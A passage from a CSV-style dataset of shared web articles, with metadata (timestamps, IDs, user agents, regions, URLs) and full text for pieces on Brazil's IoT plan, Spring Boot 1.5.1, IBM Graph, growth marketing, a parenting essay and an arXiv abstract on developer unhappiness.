Daux.io has automatic syntax highlighting, 4 theming options, Bootstrap HTML for easy customization, navigation with readable URLs, and many other goodies. Dompdf is a PDF generator that takes regular HTML markup and converts it to .pdf files. It understands most CSS rules, which can be fed in-line or via an external stylesheet. Non-official library for accessing the Instagram API . It provides developers with an easy way to authenticate their app and get access to various Instagram data endpoints including images, users, likes, comments, and tags. Zero-dependencies library for building SQL queries using chainable methods. It supports most query types and works well with MySQL, Postgres, SQL Server, and other databases. There are also built-in escaping helpers for protecting against SQL injection. by Danny Markov Danny is Tutorialzine's Bootstrap and HTML5 expert. When he is not in the office, you can usually find him riding his bike and coding on his laptop in the park.",en
1485798119,CONTENT SHARED,-7047448754687279385,997469202936578234,-2543716617145670798,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,"http://www.em.com.br/app/noticia/especiais/bigideia/bigideia-noticia/2017/01/30/bigideia,843515/plano-nacional-de-internet-das-coisas-sai-em-fevereiro.shtml",Plano nacional de ''internet das coisas'' sai em fevereiro,"(foto: pixabay.com) Daqui a cerca de um mês, representantes do Ministério da Ciência, Tecnologia, Inovações e Comunicações (MCTIC), sob a gestão de Gilberto Kassab, vão embarcar para Barcelona, na Espanha, para revelar o Plano Nacional de "" Internet das Coisas "" durante o Mobile World Congress (MWC), principal evento de tecnologias móveis do mundo. O documento, que pretende mostrar o país na vanguarda da revolução que vai conectar todos os objetos à nossa volta, porém, estará incompleto: em vez de definir objetivos, traçar metas claras e um plano de ação, ele deve trazer apenas linhas gerais sobre as intenções do Brasil. A apresentação do plano é considerada prematura por pessoas ligadas ao setor. ""Eles deveriam consultar mais o setor antes de lançar o plano"", disse uma fonte. ""Para essa primeira versão, eles devem estar se baseando em estudos internacionais."" As críticas rondam o governo porque o plano será anunciado pouco mais de dois meses após o Ministério assinar um acordo com o Banco Nacional de Desenvolvimento Econômico e Social (BNDES). Em conjunto, eles contrataram um consórcio - formado pelo Centro de Pesquisa e Desenvolvimento em Telecomunicações (CPqD), pela consultoria McKinsey Brasil e pelo escritório Pereira Neto/Macedo Advogados - para fazer uma ampla pesquisa sobre o tema. O estudo, que vai custar R$ 17,5 milhões, deveria ser a base para o plano nacional. Atualmente, o consórcio mapeia as soluções de internet das coisas mais avançadas no mundo e define as aspirações brasileiras. ""Vamos usar a consulta pública do Ministério sobre o tema, que termina no início de fevereiro, para compor essa primeira fase"", conta Vinícius Garcia de Oliveira, responsável pelo estudo no CPqD. A segunda fase do estudo vai delinear o mercado potencial para internet das coisas no País, além de identificar quais setores produtivos podem se beneficiar das tecnologias . Embora relatórios sejam entregues ao governo nesse ínterim, a previsão é de que só na terceira fase sejam definidas as áreas prioritárias e tecnologias que serão alvo de pesquisa e desenvolvimento. A partir daí é que políticas públicas serão definidas. O secretário de política de informática do MCTIC, Maximiliano Martinhão, afirmou que o governo vai apresentar, na verdade, uma versão preliminar do Plano Nacional de ""Internet das Coisas"" em fevereiro. Ela será atualizada com o andamento do estudo. ""São diretrizes "", diz Martinhão. ""Vamos sair do conceitual para uma primeira aproximação."" Segundo secretário, o Ministério vai realizar outras consultas públicas ao longo do ano para ouvir as sugestões e críticas dos interessados. Conteúdo A principal preocupação no mercado é que o governo use o plano para tentar criar uma indústria local de hardware , estratégia que não deu certo no passado. ""Se focarmos em dispositivos, disputaremos uma cadeia de menor valor"", avalia o executivo-chefe de negócios do Centro de Estudos e Sistemas Avançados do Recife (Cesar). ""O maior valor está no software."" Recentemente, o Cesar criou uma plataforma permitindo que diversos objetos conectados se ""conversem"". Em uma reunião na semana passada no MCTIC, o presidente da Associação Brasileira das Empresas de Software (Abes), Francisco Camargo, também defendeu a aposta em serviços. ""Somos bons em software "", diz Camargo. ""E o investimento é significativamente menor."" Outros pontos de atenção para a elaboração do plano incluem a adoção de padrões globais de interoperabilidade entre dispositivos ; regulamentação adequada; oferta de capital de risco para startups; e mudanças na relação entre universidades e empresas. ""É preciso criar uma cadeia para que as pesquisas se transformem em negócios"", afirma o presidente da Sociedade Brasileira de Computação (SBC), Lisandro Granville. Positivo Apesar dos tropeços iniciais, especialistas elogiam a iniciativa do Brasil. Como trata-se de um setor muito novo, ainda não há nações com vantagem competitiva em relação às demais. ""Há uma grande oportunidade"", diz Daniel Castro, diretor do Center for Data Innovation, entidade sem fins lucrativos baseada em Washington, nos Estados Unidos. ""Poucos países têm sido proativos em criar políticas desse tipo."" Países como China, Cingapura e Índia têm feito as apostas mais significativas - o Brasil, por enquanto, não prevê verba específica para internet das coisas. ""Eles investem em pesquisa e desenvolvimento , mas o governo também tem atuado como parceiro das startups. Isso faz uma tremenda diferença.""",pt
1485817301,CONTENT SHARED,-5581910915745827384,6960073744377754728,-1763855098331462373,"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36",GA,US,HTML,https://www.linkedin.com/pulse/having-children-destroyed-my-career-travis-chambers,Having Children Destroyed My Career,"Photog: Ryan Chambers Published on Travis Chambers Follow Following Unfollow Travis Chambers Sign in to follow this author Director, Producer, Writer, Media Hacker, CHAMBER.media My career was on the up and up. I was a millennial star, my gross over-estimation of my talent and value and stereotypical changing of companies every year was working very well as a strategy. I was always more valuable to someone else, whether or not I was ready for the job. Finally the strategy caught up to me. I was making a healthy six figures and directing creative and social media for promoting feature film releases at 20th Century Fox. I was doing almost exactly what I had told my parents I wanted to do when I was 12, ""Dad, I wanna be the guy that makes the commercials for the movies."" I was a really weird 12 year-old. I was charging hard, putting in 70+ hours a week, totally in over my head, but determined to fake it til I made it. Then my first child came. Everything went haywire. Because I was new I couldn't take any time off. My wife was taking on 95% of the workload that comes with a baby. I was getting requests from work at 11pm that were due by 8am, I was working until 2am every night and starting in again at 6am most days, including weekends. I was ducking out in the middle of church to handle requests. The dream of a big shot Hollywood job had become an absolute nightmare because of this adorable little girl. This adorable little girl who made me realize how miserable I was in my glamorous job, how incredibly unimportant my work was with David Fincher's 30th revision to move copy 1 pixel to the right on our Twitter profile skin for ""Gone Girl,"" a script I actually despised so much that I never even watched the movie. This little adorable baby girl absolutely decimated my career. I couldn't stay focused, I was dolling out excuses for lack of performance constantly, I wasn't attentive on conference calls and would get caught ignoring conversations red-handed constantly. I was exhausted. I was failing my employer and failing my wife even worse. My life was a disaster and I was missing out on all of my daughter's firsts. Then I got fired. Well, laid off gently and very courteously with a far-too generous severance. It was the best thing that ever happened to me. Now that I had this magical human being in my care all I cared about was her. And I had 3 months of living expenses to figure life out. My friend Jake Larsen's business he started was taking off. He seemed happy and free. I wanted that freedom more than anything. I read the $100 Start-Up and realized I didn't need to start some massive company with investment money in order to provide for this little priceless treasure of a daughter. I started an agency . I started calling everyone I knew offering anything that I thought they might want. Three months went by, my nest egg disappeared, I maxed out my credit card in month 4 when I got a client for a 3 month campaign. It was a miracle. Then a month later another one. It was as if everyone in my professional network was waiting to see whether or not I would tank. Then another client, then another, and at the end of year one, we made good revenue, and it was just me full-time and a couple partners moonlighting outside of their day jobs. It was working, they wouldn't make the jump, so we split. I hired a guy. And another guy. Year 2 we did even better revenue and were on a rocket-ship, doubling revenue quarter over quarter. Our work was getting featured on Mashable, Buzzfeed, Adweek, Forbes, I was speaking at events, this thing was actually working. I couldn't believe it. Work was coming out of nowhere from the most unforeseen of places. And the best part? I didn't CARE about prestige anymore! I didn't care about my importance, my relevance, my title, my pedigree, all I cared about was providing for my sweet girl and making her happy, and that complete paradigm shift generated abundance and prestige that I never would have achieved in another decade of my glam Hollywood job. In most of that time, yes I was frantic, but I rarely worked more than 50 hours a week. I took my little Princess to the pool every day, I gave my wife a break to pursue her hobbies, we went to Europe for two weeks, we went to the Oregon coast, we went to Europe again, we went to Hawaii, we went to Disneyland almost every week. I became an actual decent friend and extended family member. I took my Dad and brother to Death Valley on a man trip. Having Children Destroyed My Career, Having Children SAVED MY LIFE. If you think maybe it's time you destroy your career and save your life, maybe have a kid? Lolz. This gorgeous, hilarious, magical, mystical little treasure saved my life. She brought fullness, fulfillment; she was this giant wrecking ball that decimated the skyscraper that was my life and reformed it into a magical village full of abundance, friends, family, good health and tranquility. Director, Producer, Writer, Media Hacker, CHAMBER.media",en
1485857879,CONTENT SHARED,5429045128339158843,7645894863578715801,-8671975836733260591,Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:51.0) Gecko/20100101 Firefox/51.0,SP,BR,HTML,https://spring.io/blog/2017/01/30/spring-boot-1-5-1-released,Spring Boot 1.5.1 released,"One behalf of the Spring Boot team, and everyone that has contributed, I am pleased to announce that Spring Boot 1.5.1 has been released and is available now from repo.spring.io , Maven Central and Bintray . This release adds a significant number of new features and improvements. For full upgrade instructions and ""new and noteworthy"" features please see the release notes . Apache Kafka Support Spring Boot 1.5 includes auto-configuration support for Apache Kafka via the spring-kafka project. To use Kafka simple include the spring-kafka dependency and configure the appropriate spring.kafka.* application properties. Cloud Foundry actuator extensions Spring Boot's actuator module now includes additional support that is activated when you deploy to a compatible Cloud Foundry instance. The /cloudfoundryapplication path provides an alternative secured route to all NamedMvcEndpoint beans. Cloud Foundry management UIs can make use of the endpoint to display additional actuator information. For example, Pivotal Cloud Foundry shows health information next to the application status. Please see this blog post about Pivotal Cloud Foundry 1.9 for further details. Spring Data Ingalls Spring Boot 1.5 ships with the recently announced Spring Data Ingalls. Please refer to the announcement blog post to learn about all its new features. LDAP support Spring Boot now offers auto-configuration for any compliant LDAP server as well as support for the embedded in-memory LDAP server from UnboundID . Please see the documentation for more details. Loggers endpoint A new actuator loggers endpoint allows you to view and change application logging levels on the fly. Both JMX and MVC endpoints are available. For example, to change the logging level with the MVC endpoint, you can issue a POST to /loggers/com.yourcorp.application with the following JSON: To update the logger using the JMX endpoint you would use the setLogLevel operation. Please see the documentation for further details. Other changes There's a whole host of other changes and improvements that are documented in the Release Notes . You can also find a list of deprecated classes and methods that we plan to remove in the next version. We want to take this opportunity to again thank all our users and contributors. We've now had over 320 people submit code, and there have been over 10000 commits to the project. If you're interested in helping out, check out the ""ideal for contribution"" tag in the issue repository. If you have general questions, please ask at stackoverflow.com using the spring-boot tag or chat with the community on Gitter . What happened to 1.5.0? We noticed a problem with 1.5.0.RELEASE after it had been synced to Maven Central. Rather than requiring an exclusion for the incorrectly scoped dependency, we opted to fix it and release 1.5.1.RELEASE instead.",en
1485868862,CONTENT SHARED,-9040419159428373932,-7496361692498935601,-1030459773185003253,"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,http://www.inovacaotecnologica.com.br/noticias/noticia.php?artigo=depois-inteligencia-artificial-vem-ai-inteligencia-paralela,"Depois da Inteligência Artificial, vem aí a Inteligência Paralela","Hoje estamos publicando dois artigos com diferentes abordagens sobre a Inteligência Artificial: um otimista e entusiasmado, quase ufanista, e outro mais cauteloso, preocupado, quase pessimista. É comum que os apaixonados por tecnologia identifiquem-se quase naturalmente com o primeiro enfoque, mas é importante não perder de vista as responsabilidades e os novos desafios que todos os progressos trazem. O ideal é que a abordagem responsável não iniba os sonhos da visão apaixonada e que o ideal de um futuro mais promissor não se esqueça de que, para deixarem de ser meras fantasias, os sonhos precisam firmar resolutamente os pés no solo da realidade. Inteligência Paralela A inteligência artificial (IA) está aprendendo - com o mundo real. Nove meses atrás, um programa de IA venceu um dos melhores jogadores do mundo em um dos jogos mais antigos do mundo, o Go. Esse foi o início de uma nova era, a era da nova tecnologia da informação: a Tecnologia Inteligente, defendem Fei-Yue Wang e uma equipe da Academia Chinesa de Ciências. ""Esta vitória surpreendeu muitos no campo da Inteligência Artificial e fora dele,"" escreveram eles em um editorial da revista Automatica Sinica , do renomado IEEE (Instituto de Engenheiros Eletricistas e Eletrônicos). ""Ela marcou o início de uma nova era em IA... a Inteligência Paralela."" Definida como a interação entre a ""realidade real"" e a realidade virtual , a Inteligência Paralela inverte a Inteligência Artificial tradicional. Profecia auto-realizável Em vez de leis amplas e universais controlando pequenas quantidades de dados, na Inteligência Paralela leis focadas e complexas orientam quantidades gigantescas de dados - um salto de Newton para Merton, afirmam os pesquisadores chineses, referindo-se a Isaac Newton e a Robert King Merton (nascido Meyer Robert Schkolnick), este último autor da chamada ""profecia auto-realizável"", que descreve um processo no qual uma crença ou expectativa, seja ela correta ou incorreta, afeta o resultado de uma situação ou a forma como uma pessoa ou grupo irá se comportar. O AlphaGo, o computador que rodou o jogo vitorioso contra o jogador de Go Lee Sedol, jogou mais de 30 milhões de partidas consigo mesmo - mais do que uma única pessoa que vivesse um século poderia jogar em toda a sua vida. E o programa de computador aprendeu um pouco mais a cada partida. ""[Sedol] não foi derrotado por um programa de computador, mas por todos os humanos que estão por trás do programa, combinados com a significativa informação ciberfísica dentro dele,"" escreveram os autores. ""Isso também comprova a crença de muitos especialistas em Inteligência Artificial de que a inteligência deve emergir do processo de computação e interação."" Possibilidades em mutação Uma entrada X e uma saída Y já não são tão simples como foram no passado. Há mais coisas afetando o espaço físico do que apenas o espaço cibernético. As máquinas também devem abrir caminho para o espaço social. De acordo com a equipe, a IA está andando de lado em uma fase de inteligência híbrida, onde humanos, informações e máquinas são igualmente partes integrantes do processo do progresso. E ela precisa dar um passo à frente. O problema está em aprender como modelar a IA em termos de possibilidades mutáveis. X nem sempre causa Y em sistemas tão complicados, onde a incerteza, a diversidade e a complexidade normalmente prevalecem. Para avançar, é necessário um novo quadro para modelar o próximo passo de Inteligência Paralela. Artificial, Computacional e Paralelo Wang e seus colegas propõem adotar o que eles chamam de Abordagem ACP, para gerar grandes volumes de dados a partir de poucos dados e, em seguida, reduzir os megadados para leis específicas, onde o software (sistemas A rtificiais) aprenderiam com milhões de cenários (experimentos C omputacionais) a tomar as melhores decisões ao interagir (execução em P aralelo) com sistemas físicos do mundo real. O programa AlphaGo aprendeu, com 30 milhões de partidas, como tomar as melhores decisões quando confrontado com o ser físico de Sedol. E valeu a pena, indicando que este pode ser o caminho a seguir: colocar os sistemas computacionais para aprenderem velozmente usando dados gerados continuamente pelo mundo físico. ""A Inteligência Artificial não é mais 'artificial', escreveram Wang e seus colegas. ""Em última análise, ela se torna a inteligência 'real', que pode ser incorporada em máquinas, artefatos e nas nossas sociedades.""",pt
1485869070,CONTENT SHARED,3407455496422791860,3609194402293569455,-4563824185054112704,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.pierrelechelle.com/growth-process-failures,Why do you Fail at Growth Marketing and How to Solve it,"CEOs moving past Product / Market Fit often have issues to grow. They struggle to find more channels to acquire new leads. When I met Ryan, his problems were radically different... They were growing quickly. His team was doing a fine job. They implemented Growth Processes, but after a few months, they realized that they weren't moving the needle. He had planned to launch campaigns within a few days. His experiments were launched in weeks because of a lack of attention from other people within the organization. That's usually a problem faced by big corporations. I never heard such a thing from a startup with 20 people. That's when I decided to investigate. It was after running dozens of interviews and studying hundreds of the fastest growing startups that I realized most companies don't sincerely care about Growth. I realized that most startups face these issues and have no idea of how to solve them. My research led me to some interesting findings that I'll share with you today. These lessons should help you to operate in a more efficient manner and start experimenting very quickly . I designed an entire email course to help you get started with Growth as a practice. Click here to join. The Backstory When companies hear about Growth as a practice, it always seems like a wonderful idea. We live in an era where data is available at every touchpoint. This data enables us to launch things to discover what works and what doesn't. These experiments will empower you to improve your Growth rate over time because you're improving the flow of users across your entire business model. Investment decisions become simple. You just need to launch more experiments to improve your growth rate. Doesn't that sound nice? It sure does. On paper. Most companies try to hire people to handle Growth. These people are responsible for launching experiments and ""growing the business"". What generally happens is that your efforts fail because Growth is the responsibility of individuals and doesn't involve the rest of the company. When Ryan took over his new position, he was full of good intentions. He worked through the strategy and started building a backlog of experiments. After that, Ryan decided it was time to launch experiments. 45 days later, he had only launched one. Ryan failed because: Experiments took weeks to launch, instead of days Lack of seriousness about the process (stating hypothesis, documenting results) Experiments got distorted by other teams (you launch something that doesn't look like what you had in mind) He didn't have the right analytics stack He didn't test the instrumentation of his tools Ryan's story isn't a one-time thing. I've met tens of startups who tried the process and brilliantly failed to experiment. There are a hundred more reasons why Growth as a practice could fail. Let's focus on the first one: Experiments take way too much time. Why does that happen? What can we do to solve that issue for good? The Issues The process requires you to move so quickly that you can't let anything stand in your way. If you can't get a hold on someone supposed to help you launch an experiments, you'll most likely fail to launch it in time. We've identified 3 main source of failures (Goal Misalignment, Team Dependance, Political Misunderstanding). We get into more details about each of them in the following section. Goal Misalignment Here is a very common scenario: The Growth Manager (GM) needs to improve Retention. The Design team needs to re-do onboarding by the end of Q1. While the design team is late on their planning, the GM is waiting to launch her first experiment. The design team becomes a bottleneck . By the time Design is done with the onboarding, The GM has been working on the backlog (thus delaying the experimentation). When the design team finally has some time to work on the experiment, the experiment is late by 45 days. The Growth Manager is late. She had hoped to launch 2 experiments per week , she was only able to launch 1 in 45 days. The issue is simple. Their goal is different. The way to achieve them is also different. These teams can't work together just like that. Team Dependence They're dependent on each other. If one team fails to deliver their work within the given timeframe, the other will suffer. Doing so is hard for both teams. The Growth Manager may keep pushing for her experiments, but the only thing that the design team wants to work on is the onboarding. Sometimes a holdup on a project is due to a circumstance that's out of your hands. Successful teams documented those dependencies and understood the associated risks. They built clear plans and check-ins for working through them. - Jay Simons (Atlassian) The best way to work through these dependencies is to re-organize the way they work in a way that alleviates all these dependencies. Political Misunderstanding When people notice someone is working on their own garden, they feel worried. It's their work and they don't want anyone to touch it. The GM sometimes has to touch the product to have impact. That generally leads the Product team to think that they did a poor job and that the GM is trying to take their ownership away. It's hard because you're stepping on someone else's shoes! That's because Growth as a practice is misunderstood within the organization. People believe that you're taking away their role whereas in fact, you're just trying to build upon it to make it better . The Story Jerome (name was changed) was hired to bootstrap the Growth Team at a very successful company. When trying to launch experiments, he often got jammed by the Product Team. As a good Growth Manager, Jerome doesn't want to launch beautiful piece of code. He wants to get it out there ASAP. We know that 3 out of 4 experiments always fail. Why should we write something great that will get thrown away? Like most product teams, they didn't agree. As difficult as it may be for Product teams, it's okay for an experiment to avoid code standard (as long as it doesn't introduce bugs). Both teams are right here. Growth wants to launch quickly. Product wants to launch something that live up to their standard. It truly shows a misunderstanding and miscommunication between the teams and it can be tough to work through that... The Downside By having to work through these issues, the speed of learning of everyone in the company is minimized . That leads to: Issues in terms of communication Frustration from the team that's being held: their lateness is out of their hands Friction and Politics between your different teams (Collaboration becomes harder) Lack of pressure because no one can be held accountable ( ""We're late because of the design team"" ) Reduced creativity because your people are working with others that are wired like them, they won't get truly innovative ideas that way Struggling to implement experiments? Click here and I'll send you tips on how you can boostrap your Growth Team. The End Result The Growth manager wants to launch things at lightning speed. But she needs resources from other parts of the organization who have different goals and priorities. Thus, the iteration lasts much longer than it should . Since speed of learning is determined by how many experiments you can launch, if you increase the iteration duration, you'll ultimately decrease the speed of learning . By doing so, you'll highly limit the impact of the GM on your bottom line. That's why it's so hard to implement Growth Processes within teams and companies who aren't designed for high speed of learning. The efforts of implementing Growth Processes are generally dead by now. The GM tried to launch some experiments for a few weeks but the organization wasn't ready. The GM is now doing something else. She might join the product team or become an in-house consultant (more on that later). How can we design our environment to foster speed of learning? How can we make sure everyone understand that system? The Short Term Solution Successfully implementing these processes doesn't require a different organization from day one. You just need to encourage change by taking things step by step . People don't believe in what you're trying to achieve when they're worried that you're going to hurt the business, product and customers, rather than help it. The main priority when you're getting started is to prove results to the entire organization . That last point is just primary: People want to do right for the customer; they want to create an experience that solves the customer's needs. They also want to grow the business as fast as possible. It's in their best interests. People aren't here to slow down your Growth efforts. They want that to happen. You just need to prove to them that what you're doing is for the good, not harm . How can we get started and prove results to the entire company without taking away too much resources? The Consultant Back to Jerome, he couldn't launch enough experiments to have a positive impact on the business; he quickly became an internal ""Growth Consultant"". He now helps every team within the organization to get into the right mindset and consider everything they do as an experiment. In that fashion: He let everyone take ownership of their roles; He educates everyone about the Growth Mindset This position can be a great start because it leaves you the time to educate everyone in the company about these methods. The 5-Day Growth Team You don't have to change the entire organization to start experimenting. Why don't you start with a small pool of people during a week? Gather a few people that are willing to try something new. Take them in a room and launch some experiments for an entire week. That would completely lift all the issues raised above. That will give you some data around how things are working and if that had a positive impact on your bottom line. You can then promote a case study with everyone else to show your results and get everyone onboard. If you struggle to understand this concept, you should read Sprint by three partners at Google Ventures. The process is different, but the speed of execution is similar. The Company-Wide Hackaton Dapulse is in the Project Management space. They have an innovative product and it's quite hard to explain the value to someone that has never used Dapulse before. They were struggling with 4 different areas: Website Conversions: Homepage, Pricing Onboarding and First Time Experience with the product Mobile signups to desktop The team also struggled to get fresh ideas (thinking outside the box). To improve their growth, Dapulse organized a company-wide hackaton . They looked at their entire funnel and created small groups with various high impact areas (e.g. on-boarding, sign up flow). Each group involved someone from every department (Product, Design, Marketing, Customer Success and Support). By so doing, Dapulse generated ideas from many different perspectives. The ideas were launched in a few days. Instead of going all-in, Dapulse tried it first . The best part? It was fun . The entire team got out of the daily grind to work on a complex problem. Who doesn't want to be part of that? They know that it's working, what's next? They could start by: Doing that more often: Monthly or Quarterly Dedicating a small team into launching these experiments You don't have to be all-in. Inspire yourself from this story and try to find ways to experiment while limiting risks . What happens after that? You've proven results but what can you do to take it further? You need help to start experimenting? Click here and receive content to help you to get started. The Long Term I always thought that the Process and Strategy were the key pieces of the Growth puzzle. I quickly realized that correct implementation of these methodologies would require a much deeper kind of change. The only way you can start with Growth is to educate your entire team and show them that it can have a positive impact on both customers and the bottom line. It requires change from the entire organization. It's a mindset change! It also requires changes in Structure, Responsibilities and many other things. The only way you can make it to this ideal is by taking things slowly . There is no right or wrong answer. Growth is a new field and rare are the people with 10 years of experience. Overall, you can find some information about Growth Team Model . However, implementing such changes will require time and commitment. Rome wasn't built in a day. You'll need to experiment with different structures and go gradually. Just as an example Buffer changed their structure 4 times . Spotify is also well known for their experiment on their Product Team structure . You might also get familiar with Holacracy : Closing Thoughts ""The others"" are depicted like the nemesis of Growth. This is only one part of the story and this thinking is plain wrong . In the end, Growth and Product teams aren't the only ones involved. Everyone is, Including Marketing, Support and Customer Success departments. They all have something different to bring to the table to build a better experience. If someone can have a positive impact on the users and on the business, the title / department of that person doesn't matter. The only way to get into that thinking is to put your ego aside and start thinking about your users and customers. If we want to win, we need to build customer-centric companies . It shouldn't be about ""Growth VS The Others"". It should be about ""How can we make our users more successful?"" You need to reconcile everyone within your company . That's the only way that you'll strive. Take things slowly to avoid damaging your company and culture. It's your turn now . Did you manage to successfully launch experiments on a weekly basis? What have you done to reconcile everyone? Do you want more details about how we can help you to get started? We organize fun events to boost your business. Let's get in touch! Pierre Lechelle Subscribe to the Newsletter Popular Posts",en
1485899108,CONTENT SHARED,-532999578436827210,-1479311724257856983,-7587005918600298385,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",SP,BR,HTML,https://www.datanami.com/2016/07/27/ibm-seeks-simplify-graph-new-titan-service/,IBM Seeks to Simplify Graph with New Titan Service,"IBM today took the wraps off a new cloud-based graph service based on open source Titan and Apache TinkerPop technologies. Called IBM Graph, the new service is suitable for production graph workloads of any size. But IBM is also focusing on making graph technology easy to use and lowering the barrier of entry into the graph world. IBM (NYSE: IBM) has been working on the graph service for almost a year, and has had a beta of IBM Graph available since February. As the company researched how people interact with the technology, they received some useful feedback, according to Chris Glew, the senior product manager for cloud data services at IBM's Cloudant business. ""The feedback around graph was that there's a lot of interest in it, but it's hard to get started,"" Glew tells Datanami . ""There's a tremendous amount of interest in being able to do things like make recommendations in real time, to do fraud detection and network analysis inside applications of engagement. But as a JavaScript developer, it's a steep learning curve."" IBM hopes to smooth the climb up graph mountain by providing IBM Graph users with a slew of features aimed at helping them get a basic grasp of how the technology works, and what it can do for them. The content is aimed primarily at developers, who are the main targets of this new offering. ""What we did on the front-end side was to provide an interactive, tutorial playground to help developers understand Gremlin [TinkerPop's query language] and graph technology at the same time,"" says Bhavika Shah, design lead for IBM Graph. ""It's a huge challenge to learn Gremlin as a new language, as a developer who maybe understands graph but they haven't really interacted with it or tried it out."" IBM is using the phrase ""zero to graph in five minutes"" to show how easy the service is to use, and to keep prospective users from feeling intimidated by the technology. ""Users can sign on, play with sample data sets and queries almost immediately,"" Shah tells Datanami . ""They can see what the Gremlin language is when they write the queues, but then they get the response back in JSON. That's the big learning interaction that we found was very helpful-to get something back that they can understand, so they're not completely in this new field without any feeling of where they're going or understanding how to get to the next step."" While IBM is taking steps on the front-end to make graph technology more accessible to the average Web developer, it's also worked to solidify the back-end and to make the service reliable enough to be used for production workloads. The company foresees the service being used to complement existing applications, via API calls, with the types of capabilities that graph databases are inherently good at, such as product recommendations and fraud detection. ""We want to make sure that what we roll out isn't only for people who know the secret handshake around the graph community, but at the same time, we're not looking to deliver the Fisher Price version that has no value for the people who have been working in graph to date,"" Glew says. ""We've been very deliberate about making sure we can meet both of those needs."" IBM Graph is available now on the Bluemix cloud. Customers can get up to 500 MB of graph database storage for free, and make up to 25,000 API calls per month for free. IBM charges $15 per month for each additional GB of storage, and 20 cents per month for each block of 1,000 API calls. The new graph service is a multi-tenant offering with 24/7 service level agreements. The service is currently being hosted in IBM data centers in Dallas, Texas, and London, England, with plans to expand it to Sydney, Australia in the future, Glew says. IBM is running the plain vanilla version of Titan and Apache TinkerPop. As the underlying graph database and execution engine, Titan is available on GitHub , while TinkerPop was recently made an Apache project by its creators at Aurelius, which was acquired in 2015 by Datastax , the company behind the Apache Cassandra database. There are no plans at IBM to offer a standalone graph product that customers can run on their servers, Glew says. But since the technologies behind it are open source, there's nothing stopping customers from moving their IBM Graph workloads onto their own servers. ""If you want to run this on premise, I can send you the links to TinkerPop and Titan to replicate the whole stack,"" he says. The company is adamant about not forking the core open source technologies. That's something that Datastax did with DataStax Enterprise Graph, when it modified Titan to eliminate the code that allowed customers to plug-in their choice of persistent data store, which gives DataStax Enterprise Graph a performance edge over plain vanilla Titan, while also reducing complexity. Like Datastax, IBM also selected Cassandra to provide the persistency behind IBM Graph (Titan also supports HBase and BerkeleyDB), while it chose ElasticSearch to provide indexing. Since IBM is hosting the graph database, managing the additional complexity that comes with pluggable back-ends shouldn't be an issue. Performance also shouldn't be a big issue, Glew says. ""We've run scaling test against the back-end, but we haven't run till it tips over,"" he says. ""The fun part of being IBM now is we have resources that make it a lot harder to get to the theoretical limits of a technology that scales like Cassandra."" IBM Graph is suitable for both analytic and transactional workloads, but the sweet spot is transactional processing, Glew says. The idea is to provide a secondary operational data store to serve graph queries in real time from other production apps. That doesn't preclude analytic type use cases, but Glew says data scientists would be more likely to use something like a Python notebook to serve analytic needs. You can expect IBM to evolve this offering in the future to suit data analytic needs, however. Since IBM already has Apache Spark running as a service, one could conceive of a future where data resident in IBM's cloud-based Titan database is available to serve Gremlin queries and at the same time serve Apache Spark GraphFrame queries too. That's come up in discussions, but is not yet available. In the meantime, there's yet more work for IBM to do to make graph databases easier to use, particularly around data modeling and ETL. ""What's next for us is we want to make it easier to load the data and model it,"" Glew says. ""The modeling decisions have to be done as a prerequisite for loading. You can't throw in a bunch of elements in and then go figure out the relationships [later]. That's one of ways that graph database don't fit into NoSQL space....Graphs are highly relational and highly structured."" For more information on IBM Graph, see www.ibm.com/analytics/us/en/technology/cloud-data-services/graph/ . Related Items: Beyond Titan: The Evolution of DataStax's New Graph Database DataStax Dips Into Graph Waters, Pulls Out a Titan",en
1485909279,CONTENT SHARED,-5608160619992456731,1811781596621121379,-7405177444167459514,"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.67 Safari/537.36",SP,BR,HTML,http://www.businessinsider.com/pioneering-women-who-changed-science-forever-2016-7,12 incredible women you've never heard of who changed science forever,"Shutterstock Sure, most people have heard of Marie Curie and Rosalind Franklin, Jane Goodall and Sally Ride. But for every female scientist whose work has been recognized and celebrated, there are thousands who have been accidentally or purposefully forgotten. For a few, that might change, thanks to a beautiful new book, "" Women in Science: 50 Fearless Pioneers Who Changed the World ,"" by artist Rachel Ignotofsky. While she highlights some of the classic women in science, she's also profiled some less familiar faces - and discoveries. Here are a dozen of our favorites.",en
1485948351,CONTENT SHARED,-6742146164569753679,7774613525190730745,-1297645837216111964,"Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",MG,BR,HTML,https://arxiv.org/abs/1701.02952,"[1701.02952] Unhappy Developers: Bad for Themselves, Bad for Process, and Bad for Software Product","Abstract: Recent research in software engineering supports the ""happy-productive"" thesis, and the desire of flourishing happiness among programmers is often expressed by industry practitioners. Recent literature has suggested that a cost-effective way to foster happiness and productivity among workers could be to limit unhappiness of developers due to its negative impact.",en
